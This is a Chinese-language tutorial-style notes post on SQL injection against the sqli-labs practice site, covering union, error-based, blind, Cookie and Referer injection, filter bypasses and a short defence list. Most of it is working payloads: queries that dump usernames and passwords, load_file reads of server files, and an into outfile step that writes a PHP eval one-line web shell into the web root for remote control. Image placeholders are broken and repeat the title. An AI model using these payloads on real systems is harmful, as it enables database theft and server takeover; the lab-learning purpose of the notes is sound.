天天看点

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

SQL注入学习

  • SQL注入的分类
  • 实验环境安装
  • 整型注入
  • POST注入
  • 字符型注入
  • 报错注入
  • 双注入
  • 布尔盲注
  • 时间盲注
  • Cookie注入
  • HTTP-Referer注入
  • SQL注入读写文件
  • 注入技巧
    • 绕过注释符过滤
    • 绕过and/or字符过滤
    • 绕过空格过滤
    • 内联注释绕过
    • 宽字节注入
    • 过滤函数绕过
  • SQL注入防御

服务器端未严格校验客户端发送的数据,导致服务器端SQL语句被恶意修改并成功执行。

可能的原因:

  1. 代码过滤不严格。
  2. 未启用框架的安全配置。如php的magic_quotes_gpc.
  3. 未使用框架安全的查询方法(提供的查询接口)。
  4. 测试接口未删除(上线前必须删除)。
  5. 未启用防火墙。
  6. 未使用其他的安全防护设备。

任何和数据库产生交互的地方都有可能存在注入。

SQL注入的分类

按请求方法分类:GET型注入和POST型注入

按SQL数据类型分类:整型注入和字符型注入

其他的数据类型:报错注入、双注入、时间/布尔盲注、Cookie注入、User-Agent注入。(仅习惯性叫法)

  1. 报错注入:后台执行错误SQL,会返回错误信息并显示至前台。
  2. 双注入:拼接语句时用到了两个select。
  3. 盲注:只能用过页面判断是否正常执行。布尔盲注在语句中加入TRUE或FALSE来判断,时间盲注利用if…sleep函数。
  4. Cookie注入:在Cookie上进行注入。

实验环境安装

phpstudy+sqlilab

下载地址

https://github.com/Rinkish/Sqli_Edited_Version

整型注入

LESS-2

思路:

  1. 判断是否有注入点(要素1)。

    (1)可控参数(e.g. ?id=2)的改变能否影响页面显示结果。——参数能与数据库交互。

    (2)输入SQL是否能报错。——通过数据库报错可看到数据库一些语句痕迹。

    (3)输入的SQL能否不报错?——我们的语句能成功闭合。

在url后面加入单引号?id=2 ',显示出了部分sql语句报错(2)

可能的sql语句是

select username, password from users where id=“2” LIMIT 0,1

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
改成双引号?id=2 ",知道参数输入的位置
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

使用#可正常得出结果(3)

  1. 判断是什么类型的注入。
  2. 确定语句是否可被恶意修改(要素2)。
输入?id=1 and 0 #(永假),无显示内容。
  1. 是否能够成功执行(要素3)。
  2. 获取我们想要的数据。

数据库->表->字段->值

MySQL有两个非常重要的自带数据库,分别是

mysql

information_schema

information_schema

库中,

SCHEMATA

表包含了所有数据库的名字(

SCHEMA_NAME

字段)和其他,

TABLES

表保存了所有数据库的所有表名(

TABLE_SCHEMA

TABLE_NAME

字段)等,

COLUMNS

表保存了所有的字段信息(

TABLE_SCHEMA

TABLE_NAME

COLUMN_NAME

字段)

使用工具:

HackBar

,更加方便的测试SQL注入。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

尝试输入注入语句。

?id=1 union select SCHEMA_NAME from information_schema schema
//union可同时执行两条语句,把两个select的结果合并成一个临时表,但这条语句却不能执行。

?id=1 union select 1,2,3,4 %23
//要保证两条查询产生的列数一样(猜后台的列数),%23是#
           
//user()函数显示当前用户,但仍只返回第1条的结果
?id=1 union select user(),2,3

//可在第一个查询语句里查一个没有的id
?id=123456 union select user(),2,3
?id=1 and 0 union select user(),2,3
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
//改变位置
?id=123456 union select 1,user(),3
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

如法炮制修改sql语句

//查看现在的数据库
?id=123456 union select 1,database(),3 %23
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
//查询所有数据库名称,只能显示一条数据
?id=123456 union select 1,shcema_name,3 from information_schema.schemata %23

//group_concat()可将列数据拼在一起以逗号分隔
?id=123456 union select 1,group_concat(schema_name),3 from information_schema.schemata %23
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

结果有

information_schema,challenges,dvwa,mysql,performance_schema,security,sys

查询当前数据库有哪些表

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
结果是 emails,referers,uagents,users

发现里面存在着users表,可以查询一下该表的结构

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
结果是 id,username,password

发现里面有用户名和密码等信息,查询一下users表的所有内容

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

这样看很不方便,可使用另一函数concat_ws(),把两个字段以一一对应的关系拼接在一起输出。

//表示以冒号分隔开
?id=123456 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users  %23
           

得到结果

Dumb:Dumb,Angelina:I-kill-you,Dummy:[email protected],secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,admin5:admin5

POST注入

LESS-11,有三种方式。

按照前述思路进行测试,在username中输入

'

,发现产生报错。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

登录时可能的sql语句是

可以在username上做文章,比如在username上输入

' or 1#

//即构造成语句
select 1 from users where username='' or 1 # ' and password=''

           

成功登录了进去。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

除了在登录框进行操作外,也可以使用HackBar的post方法进行操作。先用审查元素看看html代码:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可分析出提交了两个参数

uname

passwd

,使用了

POST

方法。于是可在HackBar的POST参数中输入uname=1&passwd=1234,并点击提交:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可看到登录失败的字样。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

修改回原来的参数,发现其同样登陆成功。

除了使用

HackBar

之外,可使用

BurpSuite

代理工具进行操作。

Burpsuite使用教程

https://t0data.gitbooks.io/burpsuite/content/

可以用正则过滤掉一些浏览器的请求。

firefox\.com$ firefox\.com\.cn$  mozilla\.com$ mozilla\.net$ mozilla\.org$  google\.com$ googleapis\.com$ googletagmanager\.com$  google-analytics\.com$ getclicky\.com$ cnzz\.com$
           

下面的分别是拦截请求和拦截相应的规则。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可以通过

send to repeater

多次修改和发送请求包。

order by

后面可加字符或者数字,字符即字段的名字,数字即根据第x列进行排序。因此可以先用

order by 1

看能否成功执行,然后二分法判断字段数,超出长度的数字就会被辨认成字段的名称。

一般表名是“数据库.表名”的形式,如果表名在整个数据库独一无二,可直接使用表名。

字符型注入

Less-1

关键在于引号部分可以闭合。

#注释
--注释
/*注释*/
/**注释**/
           

Less-4

输入

'

没有报错,输入

"

产生报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1 “”) LIMIT 0,1’ at line 1

可推测sql语句可能为

构造

成功得出结果,之后的注入过程则与前面类似。

报错注入

同样在Less-11。

利用SQL执行产生的报错信息进行注入。

效率相对较低,只能一个一个值去看输出结果。

可以通过利用两个函数的报错信息。

EXTRACTVALUE(XML_document, XPath_string);

从目标xml中提取包含所查询值的字符串。

XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。详见w3school.

XML_document是String格式,为XML文档对象的名称,文中为Doc。

XPath_string,XPath格式(语法)的字符串,e.g. 爬虫。

concat(sign,(select…)):返回结果为连接参数产生的字符串。

sign是连接select结果的符号。

UPDATEXML(XML_document, XPath_string, new_value);

XML_document是String格式,为XML文档对象的名称,文中为Doc。

XPath_string(XPath格式的字符串)。

new_value,String格式,替换查找到的符合条件的数据。

分别输入

'

'"

判断uname在sql语句中的位置,其中

'"

可以显示

uname

变量附近的报错信息,从而获取更多的报错信息。用

' order by 2

尝试出正确的参数个数。接着输入

uname=' union select 1, extractvalue(1, (select  version())) %23  &passwd=123456&submit=Submit
           

只报出了如下错误。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可用concat函数来拼接字符串使其显示完整

uname=' union select 1, extractvalue(1,concat(0x7e, (select  version()))) %23  &passwd=123456&submit=Submit
           

则显示如下信息

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

则显示出数据库的版本,其中

0x7e

则是

~

的16进制编码。

然后输入

uname=' union select 1, extractvalue(1,concat(0x7e, (select  table_name from information_schema.tables where table_schema=database() limit 1,1))) %23  &passwd=123456&submit=Submit
           

可以显示出第2行的表名。只能一行行的显示。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

extractvalue

替换成

updatexml(1,select ...,1)

可以达到同样的效果。

双注入

利用两个select,报错信息来获取数据库的信息。

在请求体中输入:

uname=admin' union select 1,count(1) from information_schema.tables group by  floor(rand()*2) %23 &passwd=123456&submit=Submit
           

返回了主键重复的报错信息 (结果里出现了两个主键相同的条目)

Duplicate entry '0' for key '
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

加上concat()和version()函数

uname=admin' union select 1,count(1) from information_schema.tables group by  concat(floor(rand()*2),version()) %23 &passwd=123456&submit=Submit
           

报错信息中出现了version()的值

Duplicate entry '05.7.26' for key '
           

count(1)

的作用,就是统计在分组中,每一组对应的行数或项数。

原理上讲,group by产生的结果一般是唯一的,即该的结果是主键。group by产生查询结果时,游标遍历数据库表,并生成一个临时表。若临时表无该项,则新生成一项,若有,则在原项内产生一个小项(count(1)的情况即+1),最后产生如下图的结果:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

每查询或插入一次临时表,就会执行一次rand(),而floor(rand()*2)只可能生成0或者1,所以一旦产生重复,就会报错,返回报错信息。

后面的步骤如前述的报错注入,修改version()部分进行注入即可(直接用group_concat会因数据太长无法报错,可使用

limit 0,1

逐个进行尝试)。例如

uname=admin' union select 1,count(1) from information_schema.tables group by  concat(floor(rand()*2),(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)) %23 &passwd=123456&submit=Submit
           

返回users表的第一个结果:

Duplicate entry '1id' for key '
           

布尔盲注

LESS-5

看不见报错/看不见数据返回结果,只能通过页面的状态判断。在数据库中,0代表假,大于0的正整数代表真。

在本题中,id正确则显示you are in…,错误则没有返回结果。

输入

http://127.0.0.1:3080/Less-5/?id=1'

产生报错如下

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
http://127.0.0.1:3080/Less-5/?id=1' and 0  %23
           

以上代码,当and后面为true时正常回显,当为false将不回显。于是根据该原理:

http://127.0.0.1:3080/Less-5/?id=1' and (select  substr(version(),1,1)  = 'a')  %23
           

通过改变=后面的字符去判断version()的第一个字母是什么,然后一个一个的把全部字符试出来。

substr()

第一个参数是字符串,第二个参数是起始下标(从1开始),第三个是截取长度。

跟前面的套路一样去试数据库表的数据,猜数据表的名字:

http://127.0.0.1:3080/Less-5/?id=1' and (select  substr(table_name,1,1)='a' from  information_schema.tables where table_schema=database()  limit 0,1)  %23
           

可以转成ascii码(有0~128的字符)来判断:

http://127.0.0.1:3080/Less-5/?id=1' and (select  ascii(substr(table_name,1,1))>64 from  information_schema.tables where table_schema=database()  limit 0,1)  %23
           

采用二分法判断最终试出=101是正确的,是’d’。

一个一个试很不方便,可以使用BurpSuite的Intruder功能,可以批量重放包,一般用来做暴力破解。Target页是要渗透的域名和端口:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

Positions则是刚才发送的包的信息

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

其中有四种attack type,Sniper表示只设置一种变量

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

先全选参数,点击Clear把变量清空,然后选择刚才的=后面的数字,点Add添加变量。然后在Payload里面对变量进行设置。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

点击strat attack,然后点length筛选,快速得到结果:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

然后以此类推,不断修改substr的参数去尝试,得出每一位的ascii值。

Battering ram可设置两个参数,设置与Sniper一样,然后发出的两个参数都是一样的,如图:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

Pitchfork可以配置两个参数,分别读取两个字典内的同一行发包(e.g.用户名1密码1,用户名2密码2…)。

Cluster bomb可发两个参数,对两个参数的所有排列组合发包。(e.g.用户名1密码1,用户名1密码2,用户名2密码1…),假设第1个参数长度为7

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

发出了7*128=896个数据包。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

查询ascii知值为emails。

时间盲注

Less-9

无论是正确的输入还是错误输入,都是显示you are in…,不会报错。这时就需要用时间注入来判断后台的执行结果。

http://127.0.0.1:3080/Less-9/?id=1' or sleep(1) %23
           

如果正确执行,则睡眠1秒,前台就像在加载中。改成下面的形式:

http://127.0.0.1:3080/Less-9/?id=1' or if(1,sleep(1),0) %23
           

如果为真(1),则睡1秒,否则返回0。然后可以在1的位置做改动

http://127.0.0.1:3080/Less-9/?id=1' or if((select ascii(substr(table_name,1,1))>0 from information_schema.tables where table_schema=database() limit 0,1),sleep(1),0) %23
           

通过测试得知=101是正确的。比布尔盲注慢一些。可以利用sqlmap等自动化注入工具。

Cookie注入

Less-20

在服务器端用session标记会话,客户端上保存cookie。

成功登陆进去后的页面显示如下:

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

抓包,发现cookie里面有uname的信息

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

如前所述,把Cookie改成

Cookie: uname=admin' %23

,发现可以正常返回结果。

使用之前的套路尝试:

Cookie: uname=admin'  order by 3 %23
           

得知查询返回的数据有3列,输入

Cookie: uname=admin' and 0 union select 1,2,3 %23
           

返回结果

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

说明注入有效,继续使用之前的套路。

Cookie: uname=admin' and 0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23
           
Cookie: uname=admin' and 0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = database() and table_name = 'users' %23
           
Cookie: uname=admin' and 0 union select 1,group_concat(concat_ws(':', username,password)),3 from users  %23
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

任何和数据库有交互的地方都有可能产生注入。

HTTP-Referer注入

先试着用’看是否存在报错

Referer: http://127.0.0.1:3080/Less-19/'
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
Referer: http://127.0.0.1:3080/Less-19/')"
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

发现有

,

出现,可是一般select语句的where内不会出现

,

,因此猜测可能使用insert或者update语句进行查询。

insert into xxx(a,b,c) values('','','')

,如用前面select的语法进行注入,可能会使得参数数量减少。

可以使用

' and '

来消除报错

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
' and extractvalue(1,concat(0x7e,@@version)) and '
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

通过报错注入的思路得到了数据库的版本号。可在@@version处进行自由发挥。

如果是update xxx 的思路一样。

SQL注入读写文件

Less-1

使用到的是

Load_file(file_name);

读取文件并返回该文件的内容作为一个字符串,需满足4个条件:

  1. 必须有权限读取并且文件必须完全可读。
  2. 欲读取文件必须在服务器上。
  3. 必须指定文件的绝对路径。
  4. 欲读取文件必须小于max_allowed_packet。

使用例:

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,Load_file("C://boot.ini") %23
           

路径获取方法:1.经验猜测(默认的安装路径)。2. 报错。

http://127.0.0.1/sqlilabs/Less-1/?id=-1' union select 1,2,load_file("D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-1\\index.php") %23
           

页面返回php代码,可以用hex()函数进行16进制转码,用转换器转换回字符。也可用Burpsuite的decoder的hex来转码。

Less-7

这题的闭合语句比较特殊,需要依靠经验

http://127.0.0.1/sqlilabs/Less-7/?id=1')) %23
           

写文件依靠语句

into outfile "xxx"

http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\a.txt" %23
           

可以借此写入一句话木马,然后利用中国菜刀进行控制。

http://127.0.0.1/sqlilabs/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST[value]); ?>" into outfile "D:\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\a.php" %23
           

一句话木马就是一句php代码,$_POST[value]是POST里面的参数,@eval()可以把括号内的参数当做系统命令来执行。

菜刀常用功能:文件管理,数据库管理,虚拟终端。

注入技巧

绕过注释符过滤

Less-23

按照之前的套路注入

发现无法正常执行语句。

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near ‘’ LIMIT 0,1’ at line 1

尝试在%23后面加一个

"

,仍然报错,为更明显改成

http://127.0.0.1:3080/Less-23/?id=1' %23 "a
           

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near ‘"a’ LIMIT 0,1’ at line 1

根据MySQL报错的原理,应该把两个错误信息之间的所有语句全都报出来,但是它却没有报出

#

,猜测它把注释符号过滤了。

可以构造

select * from xx where id = ''='' limit 0,1

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

没有报错,正常显示

然后在1上面进行修改,进行报错注入

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可以通过上述句子判断有3个字段,把1改成-1,然后就可利用

union select

进行注入

绕过and/or字符过滤

Less-25

用前面思路尝试注入

发现报错如下

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near ‘der by #’ LIMIT 0,1’ at line 1

order没有显示全,尝试在order前加个a执行

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

发现or没了,推测被过滤,测试发现and和or都被过滤了(无论大小写)。

在MySQL里面,可以使用

||

来代替or,用

&&

代替and,因此尝试

发现可以正常执行url。而改成&&则无法执行。因此使用上面的url进行修改

测试发现过滤其实只做了一次,因此可以使用下面的rul绕过过滤

绕过空格过滤

如上一节的套路,用a定位哪些字符被过滤后,试出注释和or都被过滤,于是尝试

http://127.0.0.1/sqlilabs/Less-26/ ?id=1' || (1) || '
           

可正常执行,尝试报错注入

发现出现如下输出

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result,

bool given in D:\phpstudy_pro\WWW\sqlilabs\Less-26\index.php on line

36 FUNCTION security.selectextractvalue does not exist

按道理select和extractvalue之间是有空格的,但是在报错中却没显示出来。推测空格被过滤了。可用如下表示来代替空格:

%09	Tab键(水平)
%0a	新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/ 代替空格
           

全部试一遍,不同的系统的对字符的解析不同。

本例中%a0可行(教程说可以,然而我这里报错,我也无语了,反正试过了都不行)。也可用括号来包裹参数来绕过。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御
http://127.0.0.1/sqlilabs/Less-26/ ?id=1' || (select (extractvalue(1,concat(0x7e,version())))) || '
           
SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

内联注释绕过

Less-27

也是可能实验环境不同无法复现的一道题。

过滤掉了空格,注释符号,然后加特殊符号"各种测试后发现,关键字(union、select)也被过滤。可改变关键字大小写

或者在union和select内再嵌套关键字,该题select被过滤了两次。或者使用内联注释

来包裹关键字。

宽字节注入

当mysql内以gbk编码时,两个字符可以代表一个汉字。

Less-32

http://127.0.0.1/sqlilabs/Less-32/?id=1'
           

发现显示如下,

'

被转义,这时永远不会有报错,就不能注入了

Hint: The Query String you input is escaped as : 1’ The Query String

you input in Hex becomes : 315c27

5c是反斜杠,27是单引号。可利用gbk编码原理,范围从8140-FEFE,可以把5c当做汉字第二位,构造一个汉字,把反斜杠消除。

http://127.0.0.1/sqlilabs/Less-32/?id=1%81' 
           

这时终于产生报错

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

加%23

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

后面的步骤与前面类似,用union select即可。

若采用gb2312编码则不行,因为其编码从B0A1-F7FE,反斜杠的5c不在A1-FE范围内。

过滤函数绕过

尝试注入分析,貌似有很多关键字被过滤,而且只会返回是否正常输入。uname error和passwd error会分别提示。可使用intruder进行尝试

uname=admin&passwd=admin
           

把uname的参数作为变量,采用sniper,在payload中添加特殊字符列表。

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

点击

Load...

选择txt文件即可添加

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

有602和605两种长度的返回包,其中605是提示非法字符,602是提示uname error,也就是602的输入是可以用的

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可看到空格、逗号union、order等式被过滤了,构造

uname='=0='&passwd=admin
           

当为0时uname error,为1时是passwd error,可以推测后台语句为

where uname = ’ ’ = 1 = ’ ’

第一个=结果是假,第二个比较结果是假,第三个比较结果是真(假=假)。加个括号

uname='=(1)='&passwd=admin
           

也是返回passwd error,可以在括号内进行注入。

请求返回的包里面有个tips参数

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

可以放进decoder里面decode as… -> BASE64,解码出来之后

SQL注入学习笔记SQL注入的分类实验环境安装整型注入POST注入字符型注入报错注入双注入布尔盲注时间盲注Cookie注入HTTP-Referer注入SQL注入读写文件注入技巧SQL注入防御

是一个sql语句,知道表名叫admin,用户名叫uname,密码是passwd,避免空格过滤,可以在参数外面用()包裹。

uname='=(select(1)from(admin)where(length(passwd)=0))='&passwd=admin
           

使用intruder进行爆破尝试。(结果发现返回的报文长度一样,只能依靠手工注入),发现长度是32,可以猜测是md5。

接下来用substr()函数逐个尝试结果。因为有过滤逗号,因此不好写,搜索可知substr()有如下用法

substr(val from 32)
           

意思是从from的位置开始一直取到最后一位。

uname='=(select(1)from(admin)where(ascii(substr((passwd)from(32))))>0)='&passwd=admin
           

md5的范围是a-z和0-9。试出第32位是f。把a设置为变量继续intruder。

uname='=(select(1)from(admin)where(substr((passwd)from(31)))='af')='&passwd=admin
           

实际使用sqlmap或者python脚本来做,然后用cmd5破解即可。

SQL注入防御

代码层:

  1. 黑/白名单(不允许的字符、允许的字符)
  2. 敏感字符过滤(单双引号、括号)
  3. 使用框架安全查询
  4. 规范输出(不输出报错的信息和代码)

配置层:

  1. 开启GPC(php里面)
  2. 使用utf-8(GBK可能有宽字符注入)

物理层:

  1. WAF
  2. 数据库审计
  3. 云防护(云上的WAF)
  4. IPS(检测异常流量和操作并防护)